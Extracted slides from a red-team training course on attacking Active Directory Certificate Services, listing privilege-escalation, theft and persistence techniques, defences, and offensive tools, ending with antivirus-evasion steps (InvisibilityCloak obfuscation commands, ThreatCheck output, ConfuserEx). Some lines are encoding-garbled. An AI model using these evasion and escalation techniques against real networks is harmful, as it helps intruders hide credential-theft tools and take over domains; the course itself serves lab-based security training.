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About me

ÅTwitter - @nikhil_mitt

ÅFounder of Altered Security - alteredsecurity.com

ÅGitHub - github.com/samratashok/

ÅCreator of Nishang, Deploy-Deception, RACE toolkit and more

ÅInterested in Active Directory, PowerShell and Azure security

ÅPrevious Talks and/or Trainings

ïDEF CON, BlackHat, BruCONand more.
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Altered Security

ÅTrained more than 15000 security professionals from more than 130 countries!

ÅOur Red Team Labs Platform enables labs to be:
ïAffordable

ïEasy to Access

ïStable and provide great user experience

ïFun to Solve

ïBig enough to feel enterprise-like

ÅRed team labs - alteredsecurity.com/online-labs

Å Instructor-led bootcamps - alteredsecurity.com/bootcamps

ÅGitHub - github.com/AlteredSecurity

ÅLab Platform - enterprisesecurity.io

AD CS Attacks © Altered Security All rights reserved

https://www.alteredsecurity.com/online-labs
https://www.alteredsecurity.com/bootcamps
https://github.com/AlteredSecurity/
https://enterprisesecurity.io/
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Course Content

Å Module 1: Introduction to AD CS

Å Module 2: AD CS Attacks and Defense Techniques

Å Module 3: Basics of AD CS Attacks

Å Module 4: AD CS Patches 

Å Module 5: Enumeration

Å Module 6: Local Privilege Escalation (CertPotato)

Å Module 7: Theft (THEFT1) and Local Persistence (PERSIST1)

Å Module 8: Domain Privilege Escalation (Shadow Credentials)

Å Module 9: Theft (THEFT4)

Å Module 10: Domain Privilege Escalation (ESC1)

Å Module 11: Domain Privilege Escalation (ESC2) and Local Persistence (PERSIST3)

Å Module 12: Theft (THEFT2 and THEFT3)

Å Module 13: Domain Privilege Escalation (ESC4) and Local Persistence (PERSIST2)

AD CS Attacks © Altered Security All rights reserved
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Course Content

Å Module 14: Domain Privilege Escalation (ESC3)

Å Module 15: Domain Privilege Escalation (Code Signing)

Å Module 16: Domain Privilege Escalation (Encrypted File System)

Å Module 17: Domain Privilege Escalation (ESC5) and Domain Persistence (DPERSIST3)

Å Module 18: Domain Privilege Escalation (ESC8)

Å Module 19: Domain Privilege Escalation (ESC11)

Å Module 20: Domain Privilege Escalation (SSH Authentication using Signed Certificates)

Å Module 21: Domain Privilege Escalation (VPN with CBA) and Theft (Cert Storage in Linux)

Å Module 22: Domain Privilege Escalation (ESC7.1)

Å Module 23: Domain Privilege Escalation (Trusting CA Certs) and Domain Persistence (DPERSIST1)

Å Module 24: Privilege Escalation and Persistence in Azure (using CBA)

Å Module 25: AD CS Defense ςPrevention and Detection

AD CS Attacks © Altered Security All rights reserved
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ÅThe goal of this course is to understand Active Directory Certificate Services (AD CS) 
and execute attacks against a typical Enterprise AD CS setup.

ÅThis course assumes basic knowledge of Active Directory security, red team and/or 
penetration testing. If you are new to Active Directory security, you may like to enroll 
into our courses like the CRTP/CRTE before continuing this course. 

ÅThis course introduces a feature of AD CS, discusses its abuses and then there is a 
Learning Objective that can be used practice the attacks in a lab environment. 

AD CS Attacks © Altered Security All rights reserved

Goal
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How to use the course content

ÅYou have access to the slides, slides notes, lab manual, walk-through videos, Kill 
Chain diagram, Attack path diagrams, Lab Diagram and Tools used in the course 
OneDrive. 

ÅAccess the OneDrive using the lab portal ςhttps://adcs.enterprisesecurity.io/

ÅKeeping an eye on the Lab diagram and attack path diagrams will help if you feel 
lost.

Å!ƭǎƻ ƳŀƪŜ ǎǳǊŜ ǘƻ ǊŜŦŜǊ ǘƻ ǘƘŜ άǎƭƛŘŜǎ ƴƻǘŜǎϦ ǘƻ ŦƛƴŘ ǾŀǊƛƻǳǎ Ŏƛǘŀǘƛƻƴlinks to blogs, 
toolsetc.

AD CS Attacks © Altered Security All rights reserved
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Word of Caution

Å In scope:

ïOnly the explicitly specified on-prem and Azure resources and users are in scope. 

ïEverything else is NOTin scope. 

ÅAny abuse of the lab internet or resources - attempts of unauthorized access or 

attacks on external infrastructure - will result in immediate disqualification from the 

course without refund.

ÅPlease treat the lab network as a dangerous environment and take care of yourself.

AD CS Attacks © Altered Security All rights reserved
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Philosophy of the course

ÅWe will emulate an adversary who has a foothold machine in the target 
environment.

Å This is an Assume Breach scenario.

ÅLike our other classes, we will not use any exploit in the class but will depend on 
abuse of functionality and features which are rarely patched.

ÅWe will not use any exploitation framework in the class.

AD CS Attacks © Altered Security All rights reserved
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Introduction to AD CS

Åά!ŎǘƛǾŜ 5ƛǊŜŎǘƻǊȅ /ŜǊǘƛŦƛŎŀǘŜ {ŜǊǾƛŎŜǎ ό!5 /{ύ ƛǎ ŀ ²ƛƴŘƻǿǎ {ŜǊǾŜǊ ǊƻƭŜ ŦƻǊ ƛǎǎǳƛƴƎ ŀƴŘ 
managing Public Key Infrastructure (PKI) certificates used in secure communication 
ŀƴŘ ŀǳǘƘŜƴǘƛŎŀǘƛƻƴ ǇǊƻǘƻŎƻƭǎΦέ

ÅThe issued certificates can be used to encrypt emails, signing documents, performing 
certificate-based authentication of a user/computer/device account and much more.

ÅPKI authentication is an alternative to standard password authentication. It employs 
asymmetric encryption using digital signatures and certificates for encryption and 
authentication.

AD CS Attacks © Altered Security All rights reserved

Microsoft docs for AD CS introduction: https://learn.microsoft.com/en-us/windows-
server/identity/ad-cs/active-directory-certificate-services-overview
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Introduction to AD CS ςComponents

ÅCertification Authority (CA): Issues and manages certificates using Certificate 
Templates. AD CS CAs can be implemented as ςRootCAsand SubCAs(Requires AD 
CS role to be installed).

ÅCertificate Template: Defines settings for a certificate. Contains information like - 
enrolment permissions, EKUs, expiry etc.

ÅCertificate Enrollment Web Service (CES):Permits Windows users, computers 
andapplications to enroll and renew certificates using the HTTPSprotocol through 
WebEnrollment endpoints. 

AD CS Attacks © Altered Security All rights reserved

Microsoft Docs references:https://learn.microsoft.com/en-
us/training/modules/implement-manage-active-directory-certificate-services/2-
explore-fundamentals-of-pki-ad-cs

https://learn.microsoft.com/en-us/training/modules/implement-manage-active-directory-certificate-services/2-explore-fundamentals-of-pki-ad-cs
https://learn.microsoft.com/en-us/training/modules/implement-manage-active-directory-certificate-services/2-explore-fundamentals-of-pki-ad-cs
https://learn.microsoft.com/en-us/training/modules/implement-manage-active-directory-certificate-services/2-explore-fundamentals-of-pki-ad-cs
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Introduction to AD CS ςComponents

AD CS Attacks © Altered Security All rights reserved

ÅCertificate Enrollment Policy Web Service:Enables users to obtain certificate 
enrollment policy information.

ÅCA Web Enrollment:Provides a method to issue and renew certificates in 
scenarioswhere users use devices that are not joined to the domain or are running 
operatingsystems other than Windows.

ÅNetwork Device Enrollment Service (NDES): With this component, routers, 
switches, and other offline network devices can obtain certificates from AD CS (Ex: 
Microsoft Intune).

Microsoft Docs references:https://learn.microsoft.com/en-
us/training/modules/implement-manage-active-directory-certificate-services/2-
explore-fundamentals-of-pki-ad-cs

https://learn.microsoft.com/en-us/training/modules/implement-manage-active-directory-certificate-services/2-explore-fundamentals-of-pki-ad-cs
https://learn.microsoft.com/en-us/training/modules/implement-manage-active-directory-certificate-services/2-explore-fundamentals-of-pki-ad-cs
https://learn.microsoft.com/en-us/training/modules/implement-manage-active-directory-certificate-services/2-explore-fundamentals-of-pki-ad-cs
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Introduction to AD CSςCertificate Formats

ÅX.509 digital certificates are primarily used by AD CS.

ÅSome commonly used X.509 certificateformats used by AD CS are:

ïPEM:A Base64-encoded DER certificate commonly used as.pem, .crt, .cer, or 
.key extensions to store multiple private keys and certificates without password 
protection.

ïDER:binary form of a PEM certificate.

ïPFX/P12 (PKCS#12): binary form used to store multiple private keys and 
certificates with password protection.

ïP7B (PKCS#7):ǳǎŜŘ ǘƻ ǎǘƻǊŜ ƳǳƭǘƛǇƭŜ ŎƘŀƛƴ ŎŜǊǘƛŦƛŎŀǘŜǎ όƛǘ ŘƻŜǎƴΩǘ ǎǘƻǊŜ ŀ ǇǊƛǾŀǘŜ 
key).

AD CS Attacks © Altered Security All rights reserved
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Introduction to AD CSςCertificate Formats

AD CS Attacks © Altered Security All rights reserved

Diagram Reference:https://thesecmaster.com/what-are-the-different-types-of-
certificate-formats/

https://thesecmaster.com/what-are-the-different-types-of-certificate-formats/
https://thesecmaster.com/what-are-the-different-types-of-certificate-formats/
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Introduction to AD CSςCertificate Attributes

Some interesting certificate attributes are:

ÅSubject- The entity to which the certificate is issued.

ÅIssuer - The entity who issued the certificate. Usually, the CA. 

ÅSubject Alternative Name (SAN) ςAlternate names that a Subject may 
use. 

ÅValidity Period - Duration of validity including start and end dates. 

ÅExtended Key Usage (EKU) ςDefines the purpose for which the 
certificate can be used. 

AD CS Attacks © Altered Security All rights reserved
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Introduction to AD CSςCertificate EKUs and OIDs

ÅEKU stands for Enhanced Key Usage that specifies the purpose for which a certificate 
can be used. It is an extension in X.509 certificate.

ÅOID stands for Object Identifier. It is a unique identifier that is used to identify and 
classify various objects and concepts in a standardized way and with hierarchy. 

ÅEKU and correspondingOIDs are used to indicate the purpose or usage of a 
certificate. For example, the OID 1.3.6.1.5.5.7.3.2 corresponds to the Client 
Authentication EKU. 

Å It is possible to create custom EKUs and corresponding OIDs based on an 
organization's specific requirements.

AD CS Attacks © Altered Security All rights reserved
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Introduction to AD CSςCertificate EKUs and OIDs

ÅSome commonly used EKU OIDs and their corresponding use cases are as follows:
ïServer Authentication (1.3.6.1.5.5.7.3.1): intended for server authentication, allowing the 

certificate to be used for authenticating servers in SSL/TLS communication.

ïClient Authentication (1.3.6.1.5.5.7.3.2): allows the certificate to be used for verifying the 
identity of clients accessing secure services.

ïCode Signing (1.3.6.1.5.5.7.3.3): used for signing executable code, scripts, and macros. It verifies 
the integrity and authenticity of software or code by ensuring that it hasn't been tampered with 
since it was signed.

ïSecure Email (1.3.6.1.5.5.7.3.4): used for digitally signing and encrypting email messages, 
ensuring the confidentiality and integrity of email communications.

ïEncrypting File System (1.3.6.1.4.1.311.10.3.4): allows for the encryption and decryption of files 
and folders on NTFS volumes.

AD CS Attacks © Altered Security All rights reserved

Commonly used EKU OID reference: https://www.pkisolutions.com/object-identifiers-
oid-in-pki/

https://www.pkisolutions.com/object-identifiers-oid-in-pki/
https://www.pkisolutions.com/object-identifiers-oid-in-pki/
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Introduction to AD CS ςCertificate Signing Request

AD CS Attacks © Altered Security All rights reserved

Diagram Reference:https://specterops.io/wp-
content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf

https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf
https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf
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Introduction to AD CS ςContainers in AD

ÅtǳōƭƛŎ YŜȅ {ŜǊǾƛŎŜǎ ŎƻƴǘŀƛƴŜǊ ǳƴŘŜǊ Ψ/ƻƴŦƛƎǳǊŀǘƛƻƴ bŀƳƛƴƎ /ƻƴǘŜȄǘΩ Ŏƻƴǘŀƛƴǎ ŀƭƭ !5 
CS related containers. 

ÅSome of the interesting containers are:
ïCertificate Templates - Stores certificate templates used by Enterprise CAs. 

ïCertification Authorities -Stores trusted root certificates. All certificates from this container are 
ǇǊƻǇŀƎŀǘŜŘ ǘƻ ŜŀŎƘ ŎƭƛŜƴǘΩǎ ¢ǊǳǎǘŜŘ wƻƻǘ /ŜǊǘƛŦƛŎŀǘƛƻƴ !ǳǘƘƻǊƛǘƛŜǎ ǘƘǊƻǳƎƘ DǊƻǳǇ tƻƭƛŎȅΦ 

ïEnrollment Services - Stores Enterprise CA objects. Used by clients to locate Enterprise CAs. All 
ŎŜǊǘƛŦƛŎŀǘŜǎ ŦǊƻƳ ǘƘƛǎ ŎƻƴǘŀƛƴŜǊ ŀǊŜ ǇǊƻǇŀƎŀǘŜŘ ǘƻ ŜŀŎƘ ŎƭƛŜƴǘΩǎ LƴǘŜǊƳŜŘƛŀǘŜ /ŜǊǘƛŦƛŎŀǘƛƻƴ 
Authorities through Group Policy. 

ïNTAuthCertificates - Stores certificates for CAs that can issue smart card logon certificates and 
perform client private key archival. A smart card logon fails if there is no entry for issuer here. 

AD CS Attacks © Altered Security All rights reserved

Reference: https://www.pkisolutions.com/understanding-active-directory-certificate-
services-containers-in-active-directory/
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AD CS Attacks and Defense

ÅLike any enterprise service, AD CS is prone to misconfigurations. 

Å¢ƘŜǎŜ ƳƛǎŎƻƴŦƛƎǳǊŀǘƛƻƴǎ Ŏŀƴ ōŜ ŀōǳǎŜŘ ǘƻ ŜȄŜŎǳǘŜ ŀ Ŧǳƭƭ άYƛƭƭ /Ƙŀƛƴέ ƻŦ 
attacks against an enterprise environment. 

ÅAD CS is usually not as well understood and therefore, not as well 
protected as AD DS!

AD CS Attacks © Altered Security All rights reserved
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AD CS Attacks ςKill Chain

AD CS Attacks © Altered Security All rights reserved
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Offensive Technique ID Description

Enumeration Enumerate if AD CS is present in the target environment, available 
templates and misconfigurations. 

AD CS Attacks ςEnumeration

AD CS Attacks © Altered Security All rights reserved
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Offensive Technique ID Description

CertPotato Abuse virtual and network service accounts(authenticates as machine 
account in domain) to escalate privileges to local system

AD CS Attacks ςLocal Privilege Escalation

AD CS Attacks © Altered Security All rights reserved

CertPotato: https://sensepost.com/blog/2022/certpotato-using-AD CS-to-privesc-
from-virtual-and-network-service-accounts-to-local-system/

https://sensepost.com/blog/2022/certpotato-using-adcs-to-privesc-from-virtual-and-network-service-accounts-to-local-system/
https://sensepost.com/blog/2022/certpotato-using-adcs-to-privesc-from-virtual-and-network-service-accounts-to-local-system/
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AD CS Attacks ςTheft and Collection

Offensive Technique ID Description

THEFT1 9ȄǇƻǊǘƛƴƎ ŎŜǊǘƛŦƛŎŀǘŜǎ ŀƴŘ ǘƘŜƛǊ ǇǊƛǾŀǘŜ ƪŜȅǎ ǳǎƛƴƎ ²ƛƴŘƻǿΩǎ /ǊȅǇǘƻ !tLǎ

THEFT2 Extracting User certificates and private keys using DPAPI

THEFT3 Extracting Computer certificates and private keys using DPAPI

THEFT4 Theft of existing certificates on-disk

THEFT5 Using the Kerberos PKINIT protocol to retrieve a User/Computer ŀŎŎƻǳƴǘΩǎ 
NTLM hash

AD CS Attacks © Altered Security All rights reserved

THEFT1, THEFT2, THEFT3, THEFT4, THEFT5 - https://specterops.io/wp-
content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf

https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh831740(v=ws.11)
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh831740(v=ws.11)
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Offensive Technique ID Description

PERSIST1 User account persistence using new certificate requests

PERSIST2 Computer account persistence using new certificate requests

PERSIST3 User/Computer Account persistence by certificate renewal before 
expiration

AD CS Attacks ςLocal Persistence

AD CS Attacks © Altered Security All rights reserved

PERSIST1, PERSIST2, PERSIST3: https://specterops.io/wp-
content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf

https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh831740(v=ws.11)
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh831740(v=ws.11)
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Offensive Technique ID Description

ESC1 Enrollee can request cert for ANY 
user(CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT +Client 
Authentication/Smart Card Logon EKU)

ESC2 Enrollee canrequestcert for 
ANYuser(CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT  +AnyPurpose EKU 
or no EKU)

ESC3 Request an enrollment agent certificate (Application Policy - Certificate 
Request Agent) and use it to request a cert on behalf of ANY user 
(Certificate Request Agent EKU)

AD CS Attacks ςDomain Privilege Escalation

AD CS Attacks © Altered Security All rights reserved

ESC1, ESC2, ESC3 - https://specterops.io/wp-
content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf

https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh831740(v=ws.11)
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh831740(v=ws.11)
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Offensive Technique ID Description

ESC4 Vulnerable ACLs (GenericWrite) over AD CS Certificate Templates

ESC5 Poor Access Control (GenericWrite) on CA Server Computer Object

ESC6(fixed) Vulnerable EDITF_ATTRIBUTESUBJECTALTNAME2 setting on CA allowing 
requesting certs for ANY user

ESC7 Vulnerable Certificate Authority Access Control Roles (ManageCA
andManageCertificate)

ESC7 Case 1 Approve failed certificate requests for ANY user using ESC7 
misconfiguration

ESC7 Case 2 Abuse CRL (Certificate Revocation List) Distribution Pointsand use them 
with ManageCArights to deploy webshellsto CA servers

AD CS Attacks ςDomain Privilege Escalation

AD CS Attacks © Altered Security All rights reserved

(fixed) - Fixed by CBA Patch
ESC4, ESC5, ESC6, ESC7 - https://specterops.io/wp-
content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf
ESC7 Case 1: https://www.tarlogic.com/blog/ad-cs-esc7-attack/
ESC7 Case 2: https://www.tarlogic.com/blog/ad-cs-manageca-rce/

https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh831740(v=ws.11)
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh831740(v=ws.11)
https://www.tarlogic.com/blog/ad-cs-esc7-attack/
https://www.tarlogic.com/blog/ad-cs-manageca-rce/
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Offensive Technique ID Description

ESC8 NTLM Relay ANY domain computer to AD CS HTTP Endpoints

ESC9 (fixed) If CT_FLAG_NO_SECURITY_EXTENSION (0x80000)is set on a specific 
template the szOID_NTDS_CA_SECURITY_EXT
security extension will not be embedded.

ESC10 Case 1 (fixed) Weak Certificate Mappings ςStrongCertificateBindingEnforcement set to 0
in registry

ESC10 Case 2 (fixed) Weak Certificate Mappings - CertificateMappingMethods set to 4 in registry

ESC11 NTLM Relay ANY domain computer to AD CS ICertPassageRemote Protocol 
(ICPR) RPC Endpoints

Certifried: CVE-2022ς26923 
(fixed)

Updatingthe dNSHostName property of a controller computer account to 
impersonate ANY target computer account

AD CS Attacks ςDomain Privilege Escalation

AD CS Attacks © Altered Security All rights reserved

ESC8 ςhttps://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-
Owned.pdf
ESC9, ESC10 Case1 and Case 2: https://research.ifcr.dk/certipy-4-0-esc9-esc10-
bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7
ESC11: https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-
services-over-rpc/
Certifried: https://research.ifcr.dk/certifried-active-directory-domain-privilege-
escalation-cve-2022-26923-9e098fe298f4

https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh831740(v=ws.11)
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh831740(v=ws.11)
https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7
https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7
https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/
https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/
https://research.ifcr.dk/certifried-active-directory-domain-privilege-escalation-cve-2022-26923-9e098fe298f4
https://research.ifcr.dk/certifried-active-directory-domain-privilege-escalation-cve-2022-26923-9e098fe298f4
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Offensive Technique ID Description

DPERSIST1 Forge ANY domain certificate using stolen CA Root certificate andprivate 
keys

DPERSIST2 Forge ANY domain certificate using stolen external Trusted Root certificate 
and private keys(added root/intermediate/NTAuthCAcertificates
container)

DPERSIST3 Backdoor CA server usingmalicious misconfigurations like ESC4that can 
later cause a domain escalation

AD CS Attacks ςDomain Persistence

AD CS Attacks © Altered Security All rights reserved

DPERSIST1: https://specterops.io/wp-
content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf
DPERSIST2: https://specterops.io/wp-
content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf
DPERSIST3: https://specterops.io/wp-
content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf

https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh831740(v=ws.11)
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh831740(v=ws.11)
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh831740(v=ws.11)
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh831740(v=ws.11)
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh831740(v=ws.11)
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh831740(v=ws.11)
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Offensive Technique ID Description

Trust abuse - Enterprise 
CA and Azure AD 
Certificate-Based 
Authentication

A compromised Certificate Authority trusted by an Azure AD tenant, 
enables forging certificates and impersonate any user in the target 
tenant.

This results in privilege escalation to the tenant if the user has 
administrative roles assigned in the tenant and persistence as long as 
ǘƘŜ ŎŜǊǘƛŦƛŎŀǘŜ ŘƻŜǎƴΩǘ ŜȄǇƛǊŜΦ 

AD CS Attacks ςCloud Privilege Escalation and Persistence

AD CS Attacks © Altered Security All rights reserved
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AD CS Attacks ςPrevention

Defensive Technique ID Description

PREVENT1 Treat CAs as Critical Tier 0 Assets

PREVENT2 Harden CA settingsand configuration

PREVENT3 Audit Published templatesfor misconfigurations

PREVENT4 Harden Certificate Template Settings

PREVENT5 Audit NTAuthCAcertificates container for External insecure Trusted Root 
certificates and private keys

PREVENT6 Secure Certificate Private Key Storage

PREVENT7 Enforce Strict User Mappings(CBA Patch in Full EnforcementMode)

PREVENT8 Harden AD CS HTTP and ICPR Enrollment Endpoints
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PREVENT1, PREVENT2,PREVENT3,PREVENT4, PREVENT5, PREVENT6, PREVENT7, 
PREVENT8: https://specterops.io/wp-
content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf

https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf
https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf
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Defensive Technique ID Description

DETECT1 Monitor User/Machine Certificate Enrollments

DETECT2 Monitor Certificate Authentication Events

DETECT3 Monitor Certificate Authority Backup Events

DETECT4 Monitor Certificate Template Modifications

DETECT5 Detecting Reading of DPAPI-Encrypted Keys

DETECT6 Detecting use of Honey Credentials

DETECT7 Miscellaneous Detective Techniques

AD CS Attacks ςDetection
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DETECT1, DETECT2,DETECT3,DETECT4,DETECT5,DETECT6, DETECT7: 
https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf

https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf
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Basics of AD CS Attacks ςTools

ÅWe use built-in tools whenever possible. 

ÅWe also use slightly modified versions of open-source tools (to bypass 
Windows Defender).

ÅWe will mainly use the following two tools:

ïCertify:https://github.com/GhostPack/Certify

ïCertipy: https://github.com/ly4k/Certipy

ÅAll tools required for the lab are included in the C: \ ADCS\ Tools directory 
on the foothold machine. 
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https://github.com/GhostPack/Certify
https://github.com/ly4k/Certipy
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Basics of AD CS Attacks ςTools

ÅSome notable tools:
ïcertiςimpacketcopy of Certify to abuse AD CS.

ïADCSKillerςautomated discovery and exploitation of AD CS abuses.

ïPKINIToolsςrepo contains some utilities for playing with PKINIT and certificates.

ïPoshADCS ςproof of concept on attack vectors against Active Directory by abusing AD CS.

ïForgeCert- forge certificates for any user using compromised CA certificate and private keys.

ïpyForgeCertςPython equivalent of ForgeCert.

ïmodifyCertTemplateςPython equivalent with more manual granular control of ForgeCert.

ïCarbonCopyςcreates a spoofed certificate of any online website and signs an Executable for AV 
Evasion.

ïKrbRelayUpςa universal no-fix local privilege escalation in windows domain environments where 
LDAP signing is not enforced (the default settings).
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Certi: https://github.com/zer1t0/certi
ADCSKiller: https://github.com/grimlockx/ADCSKiller
PKINITools: https://github.com/dirkjanm/PKINITtools
PoshADCS:https://github.com/cfalta/PoshAD CS
ForgeCert: https://github.com/GhostPack/ForgeCert
PyForgeCert: https://github.com/Ridter/pyForgeCert
ModifyCertTemplate: https://github.com/fortalice/modifyCertTemplate
CarbonCopy: https://github.com/paranoidninja/CarbonCopy
KrbRelayUp: https://github.com/Dec0ne/KrbRelayUp

https://github.com/zer1t0/certi
https://github.com/grimlockx/ADCSKiller
https://github.com/dirkjanm/PKINITtools
https://github.com/cfalta/PoshADCS
https://github.com/Ridter/pyForgeCert
https://github.com/fortalice/modifyCertTemplate
https://github.com/paranoidninja/CarbonCopy
https://github.com/Dec0ne/KrbRelayUp
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Basics of AD CS Attacks ςAV Bypass

ÅEvasion is not a primary focus for this course; however, we use basic OPSEC 
measures to bypass default defense mechanisms such as Windows Defender, AMSI 
and Enhanced PowerShell Logging.

ÅOn cb-wsx an exclusion has been added in Defender for the folder: C:\ ADCS. 

ÅWe have already obfuscated some tools needed for on-disk execution and have 
placed them in the C:\ ADCS\ Tools\ ObfuscatedToolsfolder on cb-wsx.

ÅWe will use tools like InvisibilityCloakfor source code obfuscation, perform minimal 
obfuscation and/or binary obfuscation using ConfuserEx.
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InvisibilityCloakGithub: https://github.com/h4wkst3r/InvisibilityCloak

ConfuserExGithub: https://github.com/yck1509/ConfuserEx

Manual obfuscations: https://s3cur3th1ssh1t.github.io/Bypass-AMSI-by-manual-
modification-part-II/

https://github.com/h4wkst3r/InvisibilityCloak
https://github.com/yck1509/ConfuserEx
https://s3cur3th1ssh1t.github.io/Bypass-AMSI-by-manual-modification-part-II/
https://s3cur3th1ssh1t.github.io/Bypass-AMSI-by-manual-modification-part-II/
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Basics of AD CS Attacks ςAV Bypass

ÅSignature based detection for tools like SharpDPAPI and CertifyKit can bypass 
Defender with minimal string manipulation or source code.

Å InvisibilityCloak is a tool that can obfuscate the source code of a C# tool by 
reimplementing the source in an encoded (base64, rot13 or reverse) format to break 
most static source code-based detections (be careful of \ r\n parsing).

ÅSome tools such as Certify, Rubeus, InviShelland Mimikatzwhich are commonly 
used require further binary obfuscation techniques to bypass Defender. We use 
ConfuserExfor that. 

AD CS Attacks © Altered Security All rights reserved



40AlteredSecurity

Basics of AD CS Attacks ςAV Bypass -
InvisibilityCloak

ÅAn example command to obfuscate the source code and bypass static Defender 
signatures for SharpDPAPI using InvisibilityCloak is as follows:

ÅCompile the obfuscated version using Visual Studio.
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C:\> python3 C:\ADCS\Tools\ObfuscatedTools\ InvisibilityCloak-main\ InvisibilityCloak.py -d 
C:\ADCS\Tools\ObfuscatedTools\SharpDPAPI-rot13 -n SharpDPAPI-rot13 -m rot13
====================================================
[*] INFO: String obfuscation method: rot13
[*] INFO: Directory of C# project: C# project: C:\ADCS\Tools\ObfuscatedTools\SharpDPAPI-rot13
[*] INFO: New tool name: SharpDPAPI-rot13
====================================================
[*] INFO: Generating new GUID for C# project
[*] INFO: New project GUID is 41c4e418-a2f2-4dc0-9875-3521ee861613
[....snip.....]
[+] SUCCESS: Your new tool SharpDPAPI-rot13 now has the invisibility cloak applied.
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Basics of AD CS Attacks ςAV Bypass -
InvisibilityCloak

ÅUse ThreatCheck to test the obfuscated version of SharpDPAPI:

AD CS Attacks © Altered Security All rights reserved

C:\> C:\ADCS\Tools\ObfuscatedTools\ThreatCheck\ThreatCheck.exe -f 
C:\ADCS\Tools\ObfuscatedTools\SharpDPAPI-rot13\SharpDPAPI-
rot13\bin\Release\SharpDPAPI.exe

[+] No threat found!
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Basics of AD CS Attacks ςAV Bypass - ThreatCheck

ÅBefore obfuscation analysing Certify using ThreatCheck we find a static detection:

AD CS Attacks © Altered Security All rights reserved

C:\ADCS\Tools> C:\ADCS\Tools\ObfuscatedTools\ThreatCheck\ThreatCheck.exe -f C:\ADCS\Tools\Certify.exe
[+] Target file size: 176640 bytes
[+] Analyzing...
[!] Identified end of bad bytes at offset 0x246D2
00000000   00 65 00 20 00 20 00 20  00 20 00 20 00 20 00 20   ·e· · · · · · ·
00000010   00 20 00 20 00 20 00 20  00 20 00 20 00 20 00 20   · · · · · · · ·
00000020   00 20 00 3A 00 20 00 00  3D 5B 00 2A 00 5D 00 20   · ·:· ··=[·*·]·
00000030   00 53 00 75 00 62 00 6A  00 65 00 63 00 74 00 20   ·S·u·b·j·e·c·t·
00000040   00 20 00 20 00 20 00 20  00 20 00 20 00 20 00 20   · · · · · · · ·
00000050   00 20 00 20 00 20 00 20  00 20 00 20 00 20 00 20   · · · · · · · ·
00000060   00 3A 00 20 00 00 3D 5B  00 2A 00 5D 00 20 00 41   ·:· ··=[·*·]· ·A
00000070   00 6C 00 74 00 4E 00 61  00 6D 00 65 00 20 00 20   ·l·t·N·a·m·e· ·
00000080   00 20 00 20 00 20 00 20  00 20 00 20 00 20 00 20   · · · · · · · ·
00000090   00 20 00 20 00 20 00 20  00 20 00 20 00 20 00 3A   · · · · · · · ·:
000000A0   00 20 00 00 3D 5B 00 2A  00 5D 00 20 00 53 00 69   · ··=[·*·]· ·S·i
000000B0   00 64 00 45 00 78 00 74  00 65 00 6E 00 73 00 69   ·d·E·x·t·e·n·s·i
000000C0   00 6F 00 6E 00 20 00 20  00 20 00 20 00 20 00 20   ·o·n· · · · · ·
000000D0   00 20 00 20 00 20 00 20  00 20 00 20 00 3A 00 20   · · · · · · ·:·
000000E0   00 00 17 50 00 52 00 49  00 56 00 41 00 54 00 45   ···P·R·I·V·A·T·E
000000F0   00 42 00 4C 00 4F 00 42  00 00 07 53 00 41 00 4E   ·B·L·O·B···S·A·N

ThreatCheckGithub: https://github.com/rasta-mouse/ThreatCheck

https://github.com/rasta-mouse/ThreatCheck
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Basics of AD CS Attacks ςAV Bypass - ConfuserEx

ÅObfuscate Certify using 
ConfuserEx as follows: 

ïUnder the Project Tab: Select 
the base directory (location of 
the binary to be obfuscated) 
and the output directory 
(directory for obfuscated 
output).

AD CS Attacks © Altered Security All rights reserved
